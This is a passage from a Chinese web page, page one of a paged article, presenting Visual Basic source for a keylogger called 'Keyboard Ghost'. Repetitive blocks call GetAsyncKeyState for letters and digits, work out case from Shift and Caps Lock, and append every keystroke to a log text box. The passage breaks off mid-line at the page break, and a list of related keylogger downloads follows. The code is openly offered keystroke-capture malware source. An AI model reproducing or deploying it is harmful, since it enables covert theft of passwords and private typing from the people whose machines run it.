If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "u"
End If

注释:记录大写字母V和小写字母v
lngKeyState = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "V"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "v"
End If

注释:记录大写字母W和小写字母w
lngKeyState = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "W"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "w"
End If

注释:记录大写字母X和小写字母x
lngKeyState = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "X"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "x"
End If

注释:记录大写字母Y和小写字母y
lngKeyState = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Y"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "y"
End If

注释:记录大写字母Z和小写字母z
lngKeyState = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Z"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "z"
End If
注释:记录数字1和!号
lngKeyState = GetAsyncKeyState(vbKey1)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "1"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "!"
End If

注释:记录数字2和@号
lngKeyState = GetAsyncKeyState(vbKey2)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "2"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "@"
End If

注释:记录数字3和#号
lngKeyState = GetAsyncKeyState(vbKey3)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "3"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "#"
End If

注释:记录数字4和$号
lngKeyState = GetAsyncKeyState(vbKey4)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "4"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "
[1] [2] 下一页 




上一篇:键盘常用代码一览表

下一篇:将Keyboard Focus移到下一个控制项

键盘幽灵VB版 相关文章:
·《鬼泣3特别版》键盘出招表
·模拟键盘按键 自动输入文字
·键盘的使用与指法训练
·禁用U盘 还不影响USB键盘的使用
·获得键盘扫描码
·[图文]键盘指法
·混沌军团-键盘攻略
·键盘高手 shift键的十一个妙用
·Js之软键盘实现(源码)
·《NBA LIVE 06》键盘按键设置
键盘幽灵VB版 相关软件:
·键盘乐器 V2.20 build 10.29
·全能鼠标键盘记录器 V2.81
·键盘五笔训练助手V8.11
·幽灵古堡
·键盘记录者 V8.0
·窗口键盘记录器(keylog) V1.0
·《嗜血幽灵》
·魔域幽灵
·幽灵的悲鸣
·幽灵谋杀案

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot